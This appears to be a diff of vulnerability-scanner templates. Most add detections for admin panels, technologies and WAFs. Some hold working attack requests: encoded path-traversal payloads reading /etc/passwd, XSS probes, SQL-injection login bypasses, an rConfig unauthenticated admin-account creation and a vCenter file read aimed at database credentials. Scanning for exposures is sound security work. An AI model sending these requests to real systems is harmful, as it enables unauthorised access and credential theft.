+  name: Magento Config Disclosure
+  author: geeknik
+  severity: medium
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/app/etc/local.xml"
+      - "{{BaseURL}}/store/app/etc/local.xml"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "text/xml"
+        part: header
+
+      - type: word
+        words:
+          - "Magento"
+        part: body

files/server-status-localhost.yaml

@@ -2,7 +2,7 @@ id: server-status-localhost
 
 info:
   name: Server Status Disclosure
-  author: bauthard
+  author: bauthard & geeknik
   severity: low
 
 requests:
@@ -14,6 +14,8 @@ requests:
       X-Remote-Addr: "127.0.0.1"
       X-Forwarded-For: "127.0.0.1"
       X-Originating-IP: "127.0.0.1"
+      X-Host: "127.0.0.1"
+      X-Forwarded-Host: "127.0.0.1"
     path:
       - "{{BaseURL}}/server-status"
     matchers:

fuzzing/generic-lfi-fuzzing.yaml

@@ -0,0 +1,24 @@
+id: generic-lfi-fuzzing
+info:
+  name: Generic LFI Test
+  author: geeknik
+  severity: high
+  description: A generic test for Local File Inclusion
+
+requests:
+  - method: GET
+    path:
+      - "/?q=../../../etc/passwd&s=../../../etc/passwd&search=../../../etc/passwd&id=&action=../../../etc/passwd&keyword=../../../etc/passwd&query=../../../etc/passwd&page=../../../etc/passwd&keywords=../../../etc/passwd&url=../../../etc/passwd&view=../../../etc/passwd&cat=../../../etc/passwd&name=../../../etc/passwd&key=../../../etc/passwd&p=../../../etc/passwd"
+      - "/?q=../../../etc/passwd%00&s=../../../etc/passwd%00&search=../../../etc/passwd%00&id=../../../etc/passwd%00&action=../../../etc/passwd%00&keyword=../../../etc/passwd%00&query=../../../etc/passwd%00&page=../../../etc/passwd%00&keywords=../../../etc/passwd%00&url=../../../etc/passwd%00&view=../../../etc/passwd%00&cat=../../../etc/passwd%00&name=../../../etc/passwd%00&key=../../../etc/passwd%00&p=../../../etc/passwd%00"
+      - "/?q=%252e%252e%252fetc%252fpasswd&s=%252e%252e%252fetc%252fpasswd&search=%252e%252e%252fetc%252fpasswd&id=%252e%252e%252fetc%252fpasswd&action=%252e%252e%252fetc%252fpasswd&keyword=%252e%252e%252fetc%252fpasswd&query=%252e%252e%252fetc%252fpasswd&page=%252e%252e%252fetc%252fpasswd&keywords=%252e%252e%252fetc%252fpasswd&url=%252e%252e%252fetc%252fpasswd&view=%252e%252e%252fetc%252fpasswd&cat=%252e%252e%252fetc%252fpasswd&name=%252e%252e%252fetc%252fpasswd&key=%252e%252e%252fetc%252fpasswd&p=%252e%252e%252fetc%252fpasswd"
+      - "/?q=%252e%252e%252fetc%252fpasswd%00&s=%252e%252e%252fetc%252fpasswd%00&search=%252e%252e%252fetc%252fpasswd%00&id=%252e%252e%252fetc%252fpasswd%00&action=%252e%252e%252fetc%252fpasswd%00&keyword=%252e%252e%252fetc%252fpasswd%00&query=%252e%252e%252fetc%252fpasswd%00&page=%252e%252e%252fetc%252fpasswd%00&keywords=%252e%252e%252fetc%252fpasswd%00&url=%252e%252e%252fetc%252fpasswd%00&view=%252e%252e%252fetc%252fpasswd%00&cat=%252e%252e%252fetc%252fpasswd%00&name=%252e%252e%252fetc%252fpasswd%00&key=%252e%252e%252fetc%252fpasswd%00&p=%252e%252e%252fetc%252fpasswd%00"
+      - "/?q=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&s=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&search=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&id=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&action=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&keyword=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&query=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&keywords=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&url=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&view=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&cat=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&name=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&key=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&p=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd"
+      - "/?q=....//....//etc/passwd&s=....//....//etc/passwd&search=....//....//etc/passwd&id=....//....//etc/passwd&action=....//....//etc/passwd&keyword=....//....//etc/passwd&query=....//....//etc/passwd&page=....//....//etc/passwd&keywords=....//....//etc/passwd&url=....//....//etc/passwd&view=....//....//etc/passwd&cat=....//....//etc/passwd&name=....//....//etc/passwd&key=....//....//etc/passwd&p=....//....//etc/passwd"
+      - "/?q=..///////..////..//////etc/passwd&s=..///////..////..//////etc/passwd&search=..///////..////..//////etc/passwd&id=..///////..////..//////etc/passwd&action=..///////..////..//////etc/passwd&keyword=..///////..////..//////etc/passwd&query=..///////..////..//////etc/passwd&page=..///////..////..//////etc/passwd&keywords=..///////..////..//////etc/passwd&url=..///////..////..//////etc/passwd&view=..///////..////..//////etc/passwd&cat=..///////..////..//////etc/passwd&name=..///////..////..//////etc/passwd&key=..///////..////..//////etc/passwd&p=..///////..////..//////etc/passwd"
+      - "/?q=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&s=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&search=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&id=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&action=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&keyword=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&query=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&keywords=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&url=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&view=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&cat=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&name=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&key=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&p=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd"
+      - "/?q=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&s=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&search=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&id=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&action=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&keyword=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&query=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&keywords=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&url=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&view=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&cat=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&name=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&key=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&p=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd"
+    matchers:
+      - type: regex
+        words:
+          - "root:[x*]:0:0:"
+        part: body

generic-detections/basic-xss-prober.yaml

@@ -2,7 +2,7 @@ id: basic-xss-prober
 
 info:
   name: Basic XSS Prober
-  author: nadino
+  author: nadino & geeknik
   severity: low
 
   # Basic XSS prober
@@ -12,7 +12,15 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}/%61%27%22%3e%3c%69%6e%6a%65%63%74%61%62%6c%65%3e"
+    matchers-condition: and
     matchers:
       - type: word
         words:
-          - "'><injectable>"
+          - "\"><injectable>"
+        part: body
+
+      - type: word
+        words:
+          - "application/json"
+        part: header
+        negative: true

generic-detections/top-15-xss.yaml

@@ -5,8 +5,8 @@ info:
   # Name is the name of the template
   name: Top 15 XSS Check
   # Author is the name of the author for the template
-  # Prams:- q, s, search, id, action, keyword, query, page, keywords, url, view, cat, p
-  author: foulenzer
+  # Prams:- q, s, search, id, action, keyword, query, page, keywords, url, view, cat, name, key, p
+  author: foulenzer & geeknik
   # Severity is the severity for the template.
   severity: medium
   #  Description optionally describes the template.
@@ -16,6 +16,8 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}/?q=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&s=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&search=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&id=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&action=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&keyword=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&query=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&page=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&keywords=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&url=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&view=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&cat=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&name=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&key=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&p=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E"
+    redirects: true
+    max-redirects: 1
     matchers-condition: and
     matchers:
       - type: word
@@ -25,4 +27,4 @@ requests:
       - type: word
         words:
           - "text/html"
-        part: header
+        part: header

panels/globalprotect-panel.yaml

@@ -9,7 +9,11 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}/global-protect/login.esp"
+      - "{{BaseURL}}/sslmgr"
+
     matchers:
       - type: word
         words:
           - "<title>GlobalProtect Portal</TITLE>"
+          - "<msg>Invalid parameters</msg>"
+        condition: or

panels/manage-engine-admanager-panel.yaml

@@ -0,0 +1,15 @@
+id: manage-engine-admanager-panel
+
+info:
+  name: Manage Engine ADManager Panel
+  author: PR3R00T
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/authorization.do"
+    matchers:
+      - type: word
+        words:
+          - "<title>ManageEngine - ADManager Plus</title>"

panels/sonicwall-management-panel.yaml

@@ -0,0 +1,16 @@
+id: sonicwall-management-panel
+
+info:
+  name: SonicWall Management Panel
+  author: PR3R00T
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/auth.html"
+    matchers:
+      - type: word
+        words:
+          - "<title>SonicWall - Authentication</title>"
+          - "SonicWall Administrator"

panels/sonicwall-sslvpn-panel.yaml

@@ -0,0 +1,15 @@
+id: sonicwall-sslvpn-panel
+
+info:
+  name: SonicWall Virtual Office SSLVPN Panel
+  author: PR3R00T
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/cgi-bin/welcome"
+    matchers:
+      - type: word
+        words:
+          - "<title>Virtual Office</title>"

panels/swagger-panel.yaml

@@ -36,10 +36,18 @@ requests:
       - "{{BaseURL}}/api/_swagger_/"
       - "{{BaseURL}}/api/spec/swagger.json"
       - "{{BaseURL}}/api/swagger/ui/index"
-      - "{{BaseURL}}/api/api/schema/"
+      - "{{BaseURL}}/__swagger__/"
+      - "{{BaseURL}}/_swagger_/"
+      - "{{BaseURL}}/swagger-resources/restservices/v2/api-docs"
+
+    matchers-condition: and
     matchers:
       - type: word
         words:
           - "\"swagger\":"
           - "Swagger UI"
         condition: or
+
+      - type: status
+        status:
+          - 200

panels/workspace-one-uem.yaml

@@ -0,0 +1,19 @@
+id: workspace-one-uem
+
+# Reference:
+# https://twitter.com/Jhaddix/status/1295861505963909120
+
+info:
+  name: Workspace ONE UEM AirWatch Login Page
+  author: gevakun
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/AirWatch/Login"
+    matchers:
+      - type: word
+        words:
+          - "About VMware AirWatch"
+        part: body

security-misconfiguration/manage-engine-ad-search.yaml

@@ -0,0 +1,25 @@
+id: manage-engine-ad-search
+
+info:
+  name: Manage Engine AD Search
+  author: PR3R00T
+  severity: high
+  description: Manage Engine AD Manager service can be configured to allow anonymous users to browse the AD list remotely.
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/ADSearch.cc?methodToCall=search"
+      - "{{BaseURL}}:8443/ADSearch.cc?methodToCall=search"
+      - "{{BaseURL}}:8080/ADSearch.cc?methodToCall=search"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "ManageEngine"
+          - "ADManager"
+        condition: and

security-misconfiguration/salesforce-aura-misconfig.yaml

@@ -0,0 +1,24 @@
+id: salesforce-aura-misconfig
+
+info:
+  name: Detect the exposure of Salesforce Lightning aura API
+  author: aaron_costello (@ConspiracyProof)
+  severity: medium
+
+  # Reference:-
+  # https://www.enumerated.de/index/salesforce
+  # Severity of this misconfiguration depends of disclosed information.
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/aura"
+      - "{{BaseURL}}/s/sfsites/aura"
+      - "{{BaseURL}}/sfsites/aura"
+    body: "{}"
+
+    matchers:
+      - type: word
+        words:
+          - 'aura:invalidSession'
+        part: body

technologies/graphql.yaml

@@ -46,6 +46,8 @@ requests:
       - "{{BaseURL}}/graph_cms"
       - "{{BaseURL}}/query-api"
       - "{{BaseURL}}/api/cask/graphql-playground"
+      - "{{BaseURL}}/altair"
+      - "{{BaseURL}}/playground"
 
     headers:
       Content-Type: application/json
@@ -58,8 +60,6 @@ requests:
           - 200
       - type: regex
         regex:
-          - "(Query |QUERY |query ).*?"
-          - "(Graph|GRAPH|graph).*?"
           - "__schema"
           - "(Introspection|INTROSPECTION|introspection).*?"
-          - ".*?operation not found.*?"
+          - ".*?operation not found.*?"

technologies/kibana-detect.yaml

@@ -0,0 +1,24 @@
+id: kibana-detect
+
+info:
+  name: Kibana Service Detection
+  author: petruknisme
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/login?next=%2F"
+      - "{{BaseURL}}/bundles/login.bundle.js"
+      - "{{BaseURL}}/bundles/kibana.style.css"
+    headers:
+      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
+    matchers:
+      - type: word
+        words:
+          - "<title>Kibana</title>"
+          - "kibanaLoaderWrap"
+          - "kibanaLoader"
+          - "xpack"
+          - "Elasticsearch B.V"
+        condition: or

technologies/oidc-detect.yaml

@@ -0,0 +1,21 @@
+id: oidc-detect
+info:
+  name: Detect OpenID Connect provider
+  author: jarijaas
+  severity: info
+  description: Detects OpenID Connect providers. See https://en.wikipedia.org/wiki/OpenID_Connect
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/.well-known/openid-configuration"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - issuer
+          - authorization_endpoint
+        condition: and

technologies/pi-hole-detect.yaml

@@ -0,0 +1,23 @@
+id: pi-hole-detect
+info:
+  name: pi-hole detector
+  author: geeknik
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/admin/index.php"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "Pi-hole"
+          - "Web Interface"
+          - "FTL"
+        part: body
+        condition: and

technologies/tech-detect.yaml

@@ -2718,3 +2718,11 @@ requests:
           - "Server: Mida eFramework"
         condition: or
         part: all
+
+      - type: word
+        name: SEEEMS-CMS
+        words:
+          - "SEEEMS.CMS"
+          - "SEEEMS.FRAMEWORK"
+        condition: or
+        part: body

technologies/waf-detect.yaml

@@ -1,7 +1,7 @@
-id: what-waf-detect
+id: waf-detect
 
 info:
-  name: What WAF Detection
+  name: WAF Detection
   author: dwisiswant0
   severity: info
 
@@ -116,8 +116,6 @@ requests:
       - type: regex
         name: varnish
         regex:
-          - '(?i)\bxid. \d+'
-          - '(?i)varnish$'
           - '(?i)varnish'
           - '(?i).>.?security.by.cachewall.?<.'
           - '(?i)cachewall'
@@ -240,10 +238,8 @@ requests:
         regex:
           - '(?i)<RequestId>[0-9a-zA-Z]{16,25}<.RequestId>'
           - '(?i)<Error><Code>AccessDenied<.Code>'
-          - '(?i)\baws(alb)?.'
           - '(?i)x.amz.id.\d+'
           - '(?i)x.amz.request.id'
-          - '(?i)amazon(aws.com)?(\d+)?'
         condition: or
         part: all
       - type: regex
@@ -305,6 +301,7 @@ requests:
           - '(?i).>attention.required!.\|.cloudflare<.+'
           - '(?i)http(s)?.//report.(uri.)?cloudflare.com(/cdn.cgi(.beacon/expect.ct)?)?'
           - '(?i)ray.id'
+          - '(?i)__cfduid'
         condition: or
         part: all
       - type: regex
@@ -373,7 +370,6 @@ requests:
           - '(?i)x.binarysec.via'
           - '(?i)x.binarysec.nocache'
           - '(?i)binarysec'
-          - '(?i)\bbinarysec\b'
         condition: or
         part: all
       - type: regex

vulnerabilities/rconfig-rce.yaml

@@ -0,0 +1,64 @@
+id: rconfig-rce
+
+info:
+  name: rConfig 3.9.5 - Remote Code Execution
+  author: dwisiswant0
+  severity: high
+
+  # This template supports the user creation part only.
+  # To triggering an RCE, see references[2].
+  # References:
+  # - [1] https://www.rconfig.com/downloads/rconfig-3.9.5.zip
+  # - [2] https://www.exploit-db.com/exploits/48878
+
+requests:
+  - raw:
+      - |
+        POST /lib/crud/userprocess.php HTTP/1.1
+        Host: {{Hostname}}
+        Accept: */*
+        User-Agent: python-requests/2.23.0
+        Connection: close
+        Content-Type: multipart/form-data; boundary=01b28e152ee044338224bf647275f8eb
+        Upgrade-Insecure-Requests: 1
+        Cookie: PHPSESSID=pdnuclei
+
+        --01b28e152ee044338224bf647275f8eb
+        Content-Disposition: form-data; name="username"
+
+        pdnuclei
+        --01b28e152ee044338224bf647275f8eb
+        Content-Disposition: form-data; name="passconf"
+
+        Testing1@
+        --01b28e152ee044338224bf647275f8eb
+        Content-Disposition: form-data; name="password"
+
+        Testing1@
+        --01b28e152ee044338224bf647275f8eb
+        Content-Disposition: form-data; name="email"
+
+        [email protected]
+        --01b28e152ee044338224bf647275f8eb
+        Content-Disposition: form-data; name="editid"
+
+
+        --01b28e152ee044338224bf647275f8eb
+        Content-Disposition: form-data; name="add"
+
+        add
+        --01b28e152ee044338224bf647275f8eb
+        Content-Disposition: form-data; name="ulevelid"
+
+        9
+        --01b28e152ee044338224bf647275f8eb--
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "User pdnuclei successfully added to Database"
+        part: body
+      - type: status
+        status:
+          - 302

vulnerabilities/sassy-social-share.yaml

@@ -0,0 +1,19 @@
+id: sassy-social-share-xss
+
+info:
+  name: Sassy Social Share XSS
+  author: Random-Robbie
+  severity: medium
+  description: Sassy Social Share <= 3.3.3 - Cross-Site Scripting (XSS)
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=heateor_sss_sharing_count&urls[%3Cimg%20src%3dx%20onerror%3dalert(document.domain)%3E]="
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - '{"facebook_urls":[{"<img src=x onerror=alert(document.domain)>":""}],"status":1,"message":{"":{"twitter":0}}}'
+        part: body

vulnerabilities/vmware-vcenter-lfi.yaml

@@ -0,0 +1,35 @@
+id: vmware-vcenter-lfi
+
+info:
+  name: VMware vCenter Unauthenticated Arbitrary File Read
+  author: dwisiswant0
+  severity: high
+
+  # Reference:-
+  # https://twitter.com/ptswarm/status/1316016337550938122
+  # https://kb.vmware.com/s/article/7960893
+
+requests:
+  - payloads:
+      path:
+        - "C:\\ProgramData\\VMware\\VMware+VirtualCenter"  # vCenter Server 5.5 and earlier (Windows 2008)
+        - "C:\\Documents+and+Settings\\All+Users\\Application+Data\\VMware\\VMware+VirtualCenter"  # Other Windows versions
+        - "C:\\ProgramData\\VMware\\vCenterServer\\cfg\\vmware-vpx"  # vCenter Server => 6.0
+    attack: sniper
+    raw:
+      - |
+        GET /eam/vib?id=path\vcdb.properties HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
+        Accept: */*
+        Accept-Language: en
+        Connection: close
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "(?m)^(driver|dbtype|password(\\.encrypted)?)\\s="
+        part: body
+      - type: status
+        status:
+          - 200

vulnerabilities/vpms-auth-bypass.yaml

@@ -0,0 +1,39 @@
+id: vpms-auth-bypass
+
+info:
+  name: Vehicle Parking Management System 1.0 - Authentication Bypass
+  author: dwisiswant0
+  severity: high
+
+  # References:
+  # - https://www.exploit-db.com/exploits/48877
+
+requests:
+  - raw:
+      - |
+        POST /login.php HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Accept-Encoding: gzip, deflate
+        Content-Type: application/x-www-form-urlencoded
+        Referer: http://{{Hostname}}/login.php
+        Cookie: PHPSESSID=q4efk7p0vo1866rwdxzq8aeam8
+        Connection: keep-alive
+        Upgrade-Insecure-Requests: 1
+
+        email=%27%3D%27%27or%27%40email.com&password=%27%3D%27%27or%27&btn_login=1
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "LAGOS PARKER"
+          - "Login Successfully"
+          - "location.href = 'index.php';"
+        condition: and
+        part: body
+      - type: status
+        status:
+          - 200

vulnerabilities/wordpress-wpcourses-info-disclosure.yaml

@@ -0,0 +1,33 @@
+id: wordpress-wpcourses-info-disclosure
+
+info:
+  name: WordPress WP Courses Plugin Information Disclosure
+  author: dwisiswant0
+  severity: high
+  description: Critical Information Disclosure on WP Courses plugin < 2.0.29 exposes private course videos and materials
+
+  # References:
+  # - [1] https://www.exploit-db.com/exploits/48910
+  # - [2] https://www.redtimmy.com/critical-information-disclosure-on-wp-courses-plugin-exposes-private-course-videos-and-materials/
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/wp-json/wp/v2/lesson/1"
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "rest_post_invalid_id"
+          - "\"(guid|title|content|excerpt)\":{\"rendered\":"
+        condition: or
+        part: body
+      - type: word
+        words:
+          - "application/json"
+        part: header
+      - type: status
+        status:
+          - 200
+          - 404
+        condition: or

vulnerabilities/zms-auth-bypass.yaml

@@ -0,0 +1,41 @@
+id: zms-auth-bypass
+
+info:
+  name: Zoo Management System 1.0 - Authentication Bypass
+  author: dwisiswant0
+  severity: high
+
+  # References:
+  # - https://www.exploit-db.com/exploits/48880
+
+requests:
+  - raw:
+      - |
+        POST /zms/admin/index.php HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Accept-Encoding: gzip, deflate
+        Content-Type: application/x-www-form-urlencoded
+        Origin: http://{{Hostname}}
+        Connection: close
+        Referer: http://{{Hostname}}/zms/admin/index.php
+        Cookie: PHPSESSID=s22oss00i0ob4hcnsgkobb9r7p
+        Upgrade-Insecure-Requests: 1
+
+        username=dw1%27+or+1%3D1+%23&password=dw1%27+or+1%3D1+%23&login=
+
+    redirects: true
+    max-redirects: 1
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "Zoo Management System (\\|\\| Dashboard|@ 2020\\. All right reserved)"
+          - "ZMS ADMIN"
+        condition: and
+        part: body
+      - type: status
+        status:
+          - 200

workflows/jira-exploitaiton-workflow.yaml

@@ -19,6 +19,7 @@ variables:
         jira_cve_6: cves/CVE-2020-14179.yaml
         jira_cve_7: cves/CVE-2020-14181.yaml
         jira_cve_8: cves/CVE-2019-8442.yaml
+        jira_cve_9: cves/CVE-2019-3402.yaml
 
 logic:
         |
@@ -36,4 +37,5 @@ logic:
                 jira_cve_6()
                 jira_cve_7()
                 jira_cve_8()
+                jira_cve_9()
         }

workflows/wordpress-workflow.yaml

@@ -17,6 +17,8 @@ variables:
   wordpress_tmm_db_migrate: files/wordpress-tmm-db-migrate.yaml
   wordpress_social_metrics_tracker: vulnerabilities/wordpress-social-metrics-tracker.yaml
   w3c_total_cache_ssrf: vulnerabilities/w3c-total-cache-ssrf.yaml
+  wordpress_wpcourses_info_disclosure: vulnerabilities/wordpress-wpcourses-info-disclosure.yaml
+  sassy_social_share: vulnerabilities/sassy-social-share.yaml
   wordpress_cve: cves/CVE-2019-9978.yaml
   wordpress_cve_2: cves/CVE-2019-6715.yaml